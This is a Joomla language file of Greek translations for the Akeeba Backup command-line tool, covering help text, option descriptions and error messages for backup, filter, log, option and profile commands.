COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> θα τροποποιήσει μια εγγραφή αντιγράφου ασφαλείας γνωστή στο Akeeba Backup\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Τροποποιεί μια εγγραφή αντιγράφου ασφαλείας γνωστή στο Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="Πρέπει να καθορίσετε ένα ή και τα δύο από τα --description και --comment"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="Δεν είναι δυνατή η τροποποίηση της εγγραφής αντιγράφου ασφαλείας #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="Η εγγραφή αντιγράφου ασφαλείας #%d έχει τροποποιηθεί."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="Το αναγνωριστικό της εγγραφής αντιγράφου ασφαλείας προς τροποποίηση"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Αλλαγή της σύντομης περιγραφής σε αυτή την τιμή."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Αλλαγή του σχολίου αντιγράφου ασφαλείας σε αυτή την τιμή (αποδέχεται HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="Δημιουργία αντιγράφου ασφαλείας με το Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="Έναρξη αντιγράφου ασφαλείας χρησιμοποιώντας το προφίλ #%s."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Τελευταία ενημέρωση : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Τομέας           : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Βήμα             : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Υποβήμα          : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Πρόοδος          : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Χρήση μνήμης     : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Μέγιστη χρήση μνήμης : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="Ο βρόχος αντιγράφου ασφαλείας εξήλθε μετά από %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="Η διαδικασία αντιγράφου ασφαλείας ολοκληρώθηκε με προειδοποιήσεις."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="Η διαδικασία αντιγράφου ασφαλείας ολοκληρώθηκε."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> θα δημιουργήσει αντίγραφο ασφαλείας με το Akeeba Backup\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Δημιουργία αντιγράφου ασφαλείας με το Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Αριθμός προφίλ"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Σύντομη περιγραφή για την εγγραφή αντιγράφου ασφαλείας, αποδέχεται τις τυπικές μεταβλητές ονοματολογίας αρχειοθήκης Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Εκτενέστερο σχόλιο για την εγγραφή αντιγράφου ασφαλείας, παρέχετέ το σε HTML"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Ορίστε παρακάμψεις διαμόρφωσης με τη μορφή \"key1=value1,key2=value2\""

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="Εκ νέου μεταφόρτωση εγγραφής Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="Απόπειρα εκ νέου μεταφόρτωσης της εγγραφής αντιγράφου ασφαλείας '%s', αρχείο τμήματος #%s, τμήμα #%s. Αυτό μπορεί να διαρκέσει αρκετή ώρα."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="Η εκ νέου μεταφόρτωση της εγγραφής αντιγράφου ασφαλείας '%s' ολοκληρώθηκε."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="Η εκ νέου μεταφόρτωση της εγγραφής αντιγράφου ασφαλείας '%s' απέτυχε."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> θα επαναλάβει τη μεταφόρτωση αντιγράφου ασφαλείας γνωστού στο Akeeba Backup στον απομακρυσμένο χώρο αποθήκευσης.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Επανάληψη μεταφόρτωσης αντιγράφου ασφαλείας στον απομακρυσμένο χώρο αποθήκευσης"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="Το αναγνωριστικό της εγγραφής αντιγράφου ασφαλείας προς μεταφόρτωση"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="Διαγραφή %s φίλτρου "%s" τύπου %s από το προφίλ #%d"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="βάση δεδομένων"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="σύστημα αρχείων"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Άγνωστη %s ρίζα '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="Τα φίλτρα τύπου '%s' είναι διαθέσιμα μόνο με το Akeeba Backup Professional."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="Δεν ήταν δυνατή η διαγραφή του φίλτρου '%s' τύπου '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Το φίλτρο '%s' τύπου '%s' διαγράφηκε."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> θα διαγράψει μια τιμή φίλτρου γνωστή στο Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Διαγραφή τιμής φίλτρου γνωστής στο Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="Το όνομα του φίλτρου προς διαγραφή"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="Ποια ρίζα φίλτρου να χρησιμοποιηθεί. Προεπιλογή: [SITEROOT] ή [SITEDB] ανάλογα με τον τύπο φίλτρου."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="Ο τύπος φίλτρου που θέλετε να διαγράψετε: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="Προσθήκη %s φίλτρου "%s" τύπου %s στο προφίλ #%d"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="Δεν ήταν δυνατή η προσθήκη του φίλτρου '%s' τύπου '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Προστέθηκε φίλτρο '%s' τύπου '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> θα ορίσει ένα φίλτρο αποκλεισμού αρχείου, φακέλου ή πίνακα στο Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Ορισμός φίλτρου αποκλεισμού στο Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="Ο στόχος φίλτρου προς προσθήκη. Αυτή είναι η πλήρης διαδρομή σε αρχείο/κατάλογο, όνομα πίνακα ή κανονική έκφραση, ανάλογα με τον τύπο φίλτρου."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Ποια ρίζα φίλτρου να χρησιμοποιηθεί. Προεπιλογή: [SITEROOT] ή [SITEDB] ανάλογα με τον τύπο φίλτρου."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="Ο τύπος φίλτρου που θέλετε να προσθέσετε: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="Αυτή η λειτουργία απαιτεί το Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="Η βάση δεδομένων '%s' έχει ήδη συμπεριληφθεί. Διαγράψτε το παλιό φίλτρο συμπερίληψης πριν προσπαθήσετε να προσθέσετε ξανά τη βάση δεδομένων."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="Δεν ήταν δυνατή η σύνδεση στη βάση δεδομένων '%s'. Ο διακομιστής ανέφερε '%s'. Χρησιμοποιήστε την επιλογή --no-check για να συνεχίσετε ούτως ή άλλως, αλλά να γνωρίζετε ότι το αντίγραφο ασφαλείας σας πιθανότατα θα αποτύχει."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="Δεν ήταν δυνατή η συμπερίληψη της βάσης δεδομένων '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Προστέθηκε η βάση δεδομένων '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> θα προσθέσει μια επιπλέον βάση δεδομένων για δημιουργία αντιγράφου ασφαλείας από το Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Προσθέτει μια επιπλέον βάση δεδομένων για δημιουργία αντιγράφου ασφαλείας από το Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="Το πρόγραμμα οδήγησης βάσης δεδομένων που θα χρησιμοποιηθεί: mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="Η θύρα διακομιστή βάσης δεδομένων. Παραλείψτε για χρήση της προεπιλογής του προγράμματος οδήγησης."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="Το όνομα χρήστη σύνδεσης βάσης δεδομένων."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="Ο κωδικός πρόσβασης σύνδεσης βάσης δεδομένων."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="Το όνομα της βάσης δεδομένων."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="Το κοινό πρόθεμα των ονομάτων πινάκων βάσης δεδομένων, επιτρέπει την αλλαγή του κατά την επαναφορά."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Έλεγχος της σύνδεσης βάσης δεδομένων πριν από την προσθήκη του φίλτρου."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="Ο κατάλογος '%s' έχει ήδη συμπεριληφθεί με ρίζα '%s'. Διαγράψτε το παλιό φίλτρο συμπερίληψης πριν προσπαθήσετε να προσθέσετε ξανά τον κατάλογο."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="Δεν ήταν δυνατή η προσθήκη του καταλόγου '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Προστέθηκε ο κατάλογος '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> θα προσθέσει έναν επιπλέον εξωτερικό κατάλογο για δημιουργία αντιγράφου ασφαλείας από το Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Προσθήκη επιπλέον εξωτερικού καταλόγου για δημιουργία αντιγράφου ασφαλείας από το Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Πλήρης διαδρομή στον εξωτερικό κατάλογο που θα προστεθεί στο αντίγραφο ασφαλείας."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="Ο υποφάκελος μέσα στην αρχειοθήκη αντιγράφου ασφαλείας όπου θα αποθηκευτούν αυτά τα αρχεία. Αυτός είναι υποφάκελος του «εικονικού καταλόγου» του οποίου το όνομα ορίζεται στη σελίδα Ρύθμισης παραμέτρων. Παραλείψτε για αυτόματο καθορισμό."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="Λίστα φίλτρων Akeeba Backup που ταιριάζουν με τα κριτήριά σας"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> θα εμφανίσει τιμές φίλτρων για ένα προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Λήψη τιμών φίλτρων γνωστών στο Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Ποια ρίζα φίλτρου να χρησιμοποιηθεί. Προεπιλογή: [SITEROOT] ή [SITEDB] ανάλογα με την επιλογή --target. Αγνοείται για --type=include. Συμβουλή: οι ρίζες συστήματος αρχείων και βάσης δεδομένων αποτελούν τη στήλη «filter» για --type=include. Υπάρχουν δύο ειδικές ρίζες, [SITEROOT] (η ρίζα συστήματος αρχείων του Joomla ιστοτόπου) και [SITEDB] (η κύρια βάση δεδομένων του Joomla ιστοτόπου)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="Ο στόχος φίλτρων που θέλετε να εμφανίσετε: fs (αρχεία και φάκελοι) ή db (βάση δεδομένων)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="Ο τύπος φίλτρων που θέλετε να εμφανίσετε: exclude, include ή regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> θα ανακτήσει ένα αρχείο καταγραφής από τον κατάλογο εξόδου του καθορισμένου προφίλ Akeeba Backup. Σημείωση: μπορούν επίσης να ανακτηθούν αρχεία καταγραφής από άλλα προφίλ αντιγράφων ασφαλείας ή εγκαταστάσεις Akeeba Backup που μοιράζονται τον ίδιο κατάλογο εξόδου.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Ανάκτηση αρχείου καταγραφής γνωστού στο Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Τα αρχεία καταγραφής στον κατάλογο εξόδου αυτού του προφίλ Akeeba Backup θα ανακτηθούν"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="Η ετικέτα του αρχείου καταγραφής προς ανάκτηση"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="Λίστα αρχείων καταγραφής Akeeba Backup για τον κατάλογο εξόδου %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> θα εμφανίσει όλα τα αρχεία καταγραφής στον κατάλογο εξόδου του καθορισμένου προφίλ Akeeba Backup. Σημείωση: θα εμφανιστούν επίσης αρχεία καταγραφής από άλλα προφίλ αντιγράφων ασφαλείας ή εγκαταστάσεις Akeeba Backup που μοιράζονται τον ίδιο κατάλογο εξόδου.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Εμφανίζει αρχεία καταγραφής γνωστά στο Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Τα αρχεία καταγραφής στον κατάλογο εξόδου αυτού του προφίλ Akeeba Backup θα εμφανιστούν"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="Δεν βρέθηκε το προφίλ #%s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="Αυτή η εντολή δεν μπορεί να επιστρέψει πολλαπλές τιμές με δεδομένο το μερικό πρόθεμα κλειδιού "%s". Παρακαλούμε δώστε το ακριβές όνομα κλειδιού που θέλετε να ανακτήσετε. Χρησιμοποιήστε την εντολή akeeba:option:list για να δείτε τα διαθέσιμα κλειδιά με το πρόθεμα %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Μη έγκυρο κλειδί "%s"."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> θα λάβει την τιμή μιας επιλογής διαμόρφωσης για ένα προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Λαμβάνει την τιμή μιας επιλογής διαμόρφωσης για ένα προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="Το κλειδί επιλογής προς ανάκτηση"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Μορφή εξόδου: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="Δεν βρέθηκαν επιλογές που να ταιριάζουν με τα κριτήριά σας."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> θα εμφανίσει τις επιλογές διαμόρφωσης για ένα προφίλ Akeeba Backup, συμπεριλαμβανομένων των τίτλων τους.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Εμφανίζει τις επιλογές διαμόρφωσης για ένα προφίλ Akeeba Backup, συμπεριλαμβανομένων των τίτλων τους"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Επιστροφή μόνο εγγραφών των οποίων τα κλειδιά αρχίζουν με τον δεδομένο φίλτρο."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Ταξινόμηση εξόδου με βάση τη δεδομένη στήλη: none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Σειρά ταξινόμησης: asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Μη έγκυρη τιμή '%s': εκτός ορίων."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Μη έγκυρη λογική τιμή '%s': χρησιμοποιήστε ένα από τα 0, false, no, off, 1, true, yes ή on.'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Μη έγκυρη απαριθμημένη τιμή '%s'. Πρέπει να είναι ένα από τα %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="Η ρύθμιση της κρυφής επιλογής '%s' δεν επιτρέπεται."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Άγνωστος τύπος %s για την επιλογή '%s'. Μήπως έχετε τροποποιήσει χειροκίνητα τα αρχεία JSON επιλογών;"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="Δεν είναι δυνατός ο ορισμός της προστατευμένης επιλογής '%s'. Χρησιμοποιήστε την επιλογή --force για να παρακάμψετε την προστασία."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="Δεν ήταν δυνατός ο ορισμός της επιλογής '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="Η επιλογή '%s' ορίστηκε επιτυχώς σε '%s'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> θα ορίσει την τιμή μιας επιλογής διαμόρφωσης για ένα προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Ορίζει την τιμή μιας επιλογής διαμόρφωσης για ένα προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="Το κλειδί επιλογής προς ορισμό"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="Η τιμή προς ορισμό"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="Το προφίλ αντιγράφου ασφαλείας που θα χρησιμοποιηθεί. Προεπιλογή: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Να επιτρέπεται ο ορισμός τιμής για προστατευμένες επιλογές."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="Δεν είναι δυνατή η αντιγραφή του προφίλ %s· το προφίλ δεν βρέθηκε."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="Δεν είναι δυνατή η αντιγραφή του προφίλ #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Η αντιγραφή ολοκληρώθηκε επιτυχώς. Δημιουργήθηκε νέο προφίλ με αναγνωριστικό %s."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> θα δημιουργήσει ένα αντίγραφο ενός προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Δημιουργεί ένα αντίγραφο ενός προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="Ο αριθμητικός αναγνωριστικός αριθμός του προφίλ προς αντιγραφή"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Συμπερίληψη φίλτρων στο αντίγραφο."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Περιγραφή για το νέο προφίλ αντιγράφου ασφαλείας. Χρησιμοποιεί την περιγραφή του παλιού προφίλ εάν δεν καθοριστεί."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="Να έχει το νέο προφίλ αντιγράφου ασφαλείας εικονίδιο γρήγορης δημιουργίας αντιγράφου ασφαλείας με ένα κλικ; Αντιγράφει τη ρύθμιση του παλιού προφίλ εάν δεν καθοριστεί."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="Η μορφή της απόκρισης. Χρησιμοποιήστε JSON για αριθμητικό αναγνωριστικό του νέου προφίλ αναλύσιμο ως JSON. Τιμές: text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="Δεν είναι δυνατή η δημιουργία προφίλ: %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Δημιουργήθηκε νέο προφίλ με αναγνωριστικό %s."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> θα δημιουργήσει ένα νέο προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Δημιουργεί ένα νέο προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Περιγραφή για το νέο προφίλ αντιγράφου ασφαλείας. Προεπιλογή: "Νέο προφίλ αντιγράφου ασφαλείας""
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="Να έχει το νέο προφίλ αντιγράφου ασφαλείας εικονίδιο γρήγορης δημιουργίας αντιγράφου ασφαλείας με ένα κλικ; Προεπιλογή: 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="Η μορφή της απόκρισης. Χρησιμοποιήστε JSON για αριθμητικό αναγνωριστικό του νέου προφίλ αναλύσιμο ως JSON. Τιμές: text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="Νέο προφίλ αντιγράφου ασφαλείας"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="Δεν μπορείτε να διαγράψετε το προεπιλεγμένο προφίλ αντιγράφου ασφαλείας (#1)"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="Δεν είναι δυνατή η διαγραφή του προφίλ %s· το προφίλ δεν βρέθηκε."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="Δεν είναι δυνατή η διαγραφή του προφίλ #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="Το προφίλ #%d έχει διαγραφεί."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> θα διαγράψει ένα προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Διαγραφή προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="Ο αριθμητικός αναγνωριστικός αριθμός του προφίλ προς διαγραφή"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="Δεν είναι δυνατή η εξαγωγή του προφίλ %s· το προφίλ δεν βρέθηκε."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> θα εξάγει ένα προφίλ Akeeba Backup ως συμβολοσειρά JSON.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Εξάγει ένα προφίλ Akeeba Backup ως συμβολοσειρά JSON"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="Ο αριθμητικός αναγνωριστικός αριθμός του προφίλ προς τροποποίηση"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="Να συμπεριληφθούν οι ρυθμίσεις φίλτρων;"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="Δεν είναι δυνατή η επεξεργασία της εισόδου· μη έγκυρη συμβολοσειρά JSON ή το αρχείο δεν βρέθηκε."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="Δεν είναι δυνατή η εισαγωγή προφίλ: %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="Η JSON εισήχθη επιτυχώς ως προφίλ #%s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> θα εισάγει ένα προφίλ Akeeba Backup από μια συμβολοσειρά JSON.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Εισάγει ένα προφίλ Akeeba Backup από μια συμβολοσειρά JSON"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="Διαδρομή προς αρχείο JSON εξαγωγής προφίλ Akeeba Backup ή κυριολεκτική συμβολοσειρά JSON. Χρησιμοποιεί το STDIN εάν παραλειφθεί."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="Η μορφή της απόκρισης. Χρησιμοποιήστε json για αριθμητικό αναγνωριστικό του νέου προφίλ αναλύσιμο ως JSON. Τιμές: json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> θα εμφανίσει τα προφίλ αντιγράφων ασφαλείας Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
